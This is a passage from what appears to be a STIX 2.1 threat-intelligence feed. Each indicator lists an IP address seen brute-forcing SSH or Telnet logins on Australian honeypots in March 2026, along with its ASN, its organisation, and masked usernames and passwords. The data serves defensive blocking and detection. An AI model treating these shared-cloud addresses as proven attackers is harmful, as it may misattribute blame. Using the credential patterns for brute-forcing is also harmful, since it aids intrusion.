      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 151707. Organisation(s): Ethen Teleinfra Private Limited.",
      "id": "indicator--9ab5dfc9-4b7c-45e7-a697-b377dc259957",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.124.65.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 42831. Organisation(s): UK Dedicated Servers Limited. Usernames observed (masked): r**t, 3**********4, a******h, d**l, **. Passwords observed (masked): 1******8, 1***5, 1****6, 3***********4, 3**********4.",
      "id": "indicator--7ddbdb1c-3c19-4422-9d0e-9e85992d3fe2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '37.143.61.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 201. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ZA. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): 3**********4, o**r, r**t, ***, e****n. Passwords observed (masked): ***, 3***********4, 3**********4, 1***5, 1****6.",
      "id": "indicator--b25076af-f76b-4c37-a8fe-0384aeca436d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '4.221.162.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): e*******l, 3**********4, a***l, c***o, d********r. Passwords observed (masked): 1**4, 1***5, 1******8, 3***********4, 3**********4.",
      "id": "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.220.235.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--023b0897-9ce8-42c9-8cba-dd19023f6944",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '78.186.102.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 2027. Organisation(s): MilkyWan Association. Usernames observed (masked): s*****t. Passwords observed (masked): I*************************t.",
      "id": "indicator--c2d9ca03-9cf0-41c0-b039-940e81ae4fd9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '80.67.167.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T18:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 32. Sensors involved: Cowrie. Target ports: 23. Source country: SE. ASN(s): 1257. Organisation(s): Tele2 SWIPnet.",
      "id": "indicator--2e00bd03-e4fc-4289-9566-a46c65391443",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T18:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.130.20.7']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T18:15:14.000Z",
      "valid_until": "2026-04-10T18:15:11.000Z"
    },
    {
      "created": "2026-03-09T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4816. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): A*******6, H********w.",
      "id": "indicator--6409e649-f053-415f-a960-c8e1d5f1461d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.236.67.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:15:13.000Z",
      "valid_until": "2026-04-10T19:15:11.000Z"
    },
    {
      "created": "2026-03-09T19:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 17816. Organisation(s): China Unicom IP network China169 Guangdong province.",
      "id": "indicator--3358c334-65b8-4305-97f2-cbba18fe3ced",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '120.83.243.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:15:13.000Z",
      "valid_until": "2026-04-10T19:15:11.000Z"
    },
    {
      "created": "2026-03-09T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 129. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 22927. Organisation(s): Telefonica de Argentina. Usernames observed (masked): r**t, 3**********4, a*******t, ***, g***t. Passwords observed (masked): 1**4, 1****6, 3***********4, 3**********4, A*******!.",
      "id": "indicator--f2659e51-76fe-46b3-9195-be567442b5e7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.23.123.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:15:13.000Z",
      "valid_until": "2026-04-10T19:15:11.000Z"
    },
    {
      "created": "2026-03-09T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--983da343-1b4d-4880-ac90-abb4ed759bb4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.241.253.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:15:13.000Z",
      "valid_until": "2026-04-10T19:15:11.000Z"
    },
    {
      "created": "2026-03-09T19:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--e159cbda-adf3-4790-984d-45eb9ec9d805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T19:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.82.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T19:15:13.000Z",
      "valid_until": "2026-04-10T19:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r****r. Passwords observed (masked): r****r.",
      "id": "indicator--52fc0fa5-a370-4ab8-ab07-048fbda787de",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.103.123.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 380. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): o****e, a***n, g***t, r**t, t**t. Passwords observed (masked): p******d, 1****1, 1****3, 1***5, 1******8.",
      "id": "indicator--a41e9b76-358a-421a-8b9b-2c74633d1a74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '178.62.229.102']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): 3**********4, ***, ***, c***d, h**n. Passwords observed (masked): 1****6, 1******8, 3***********4, 3**********4, 1*******d.",
      "id": "indicator--97366bb1-9881-4e84-b9d7-fb54dd9f99b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.178.17.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--71ee8636-d409-4d18-b51a-dfb4e17c2e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.199.94.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3320. Organisation(s): Deutsche Telekom AG. Usernames observed (masked): 3**********4, ***, t*******k, ***, a****d. Passwords observed (masked): ***, 3***********4, 3**********4, p******d, 1****6.",
      "id": "indicator--9f1b1595-881b-47dd-a673-998b69c4fd19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '217.253.123.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--a0583ffb-abad-448e-ae94-fd30fc231b31",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '221.154.117.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--13bd192b-7733-4a36-8d9a-5fbe13ceae72",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '222.117.0.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group.",
      "id": "indicator--ee7e81e8-42d2-47d9-8ebd-4b458d23f38d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '27.72.42.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f4e14a02-d4a8-4731-a03e-9c685bff0782",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.120.105.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 70. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1********0, ***, 1**4, 1****c, 1******r.",
      "id": "indicator--dd2d2eba-09a5-4ce3-b96f-21fda38c03e6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.174.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T20:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 267. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 3269. Organisation(s): TIM. Usernames observed (masked): 3**********4, ***, t*******k, ***, a****d. Passwords observed (masked): 3***********4, 3**********4, ***, p******d, W****3.",
      "id": "indicator--72e3d5fb-6fb5-4920-a28c-fafc3f34e400",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T20:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '79.36.240.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T20:15:13.000Z",
      "valid_until": "2026-04-10T20:15:11.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 56150. Organisation(s): Viet Solutions Services Trading Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, l***x, u****u.",
      "id": "indicator--7d02af7d-5d5f-4567-b172-d7fa8eb0fe1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.232.121.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited.",
      "id": "indicator--fec319d7-b195-4248-a39d-7250fe38ff43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.53.19.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone. Usernames observed (masked): c***d, r**t, 3**********4, d*****j, ***. Passwords observed (masked): ***, 1****6, 3***********4, 3**********4, A******4.",
      "id": "indicator--52c21c72-2566-489a-a328-960b6cf85fd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.200.94.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LS. ASN(s): 37642. Organisation(s): Comnet-Lesotho-AS.",
      "id": "indicator--793cfc5f-63e2-4c7f-a461-b87ca13c11da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '154.66.109.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 16276. Organisation(s): OVH SAS. Usernames observed (masked): 7***s, u**r. Passwords observed (masked): 7***s, P******d.",
      "id": "indicator--28917f27-7aa3-4af8-8a03-3f1cee3af644",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '158.69.213.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262820. Organisation(s): OnLine Assis Telecomunicacoes Ltda-EPP.",
      "id": "indicator--2e9f3c5d-4a63-4ad0-a208-85127ba92a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '186.251.1.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 137. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 14178. Organisation(s): Megacable Comunicaciones de Mexico, S.A. de C.V.. Usernames observed (masked): r**t, c***d, 3**********4, a***n, e*******l. Passwords observed (masked): 1****6, ***, 1****3, 3***********4, 3**********4.",
      "id": "indicator--109e5ce6-e570-41ee-8ee6-9167e559aff4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '201.149.53.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: UA. ASN(s): 59833. Organisation(s): JSC Sevastopol Telekom.",
      "id": "indicator--32474cef-edda-4b7a-b2c5-a1d20106f5f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.59.165.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--ea59225b-3442-40f5-949b-f239662803a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '40.124.175.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 214503. Organisation(s): QuxLabs AB. Usernames observed (masked): s*****t. Passwords observed (masked): I*************************t.",
      "id": "indicator--bab610e9-6cfe-4c83-8a09-9aa336e6d882",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.84.107.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 17511. Organisation(s): OPTAGE Inc..",
      "id": "indicator--3ba29d70-82ff-4269-92c7-4a00d7d61ea6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '61.205.12.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T21:15:02.000Z",
      "valid_until": "2026-04-10T21:15:01.000Z"
    },
    {
      "created": "2026-03-09T21:15:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--e82fe62e-c283-4005-9217-7a3752f1f30a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T21:15:02.000Z",
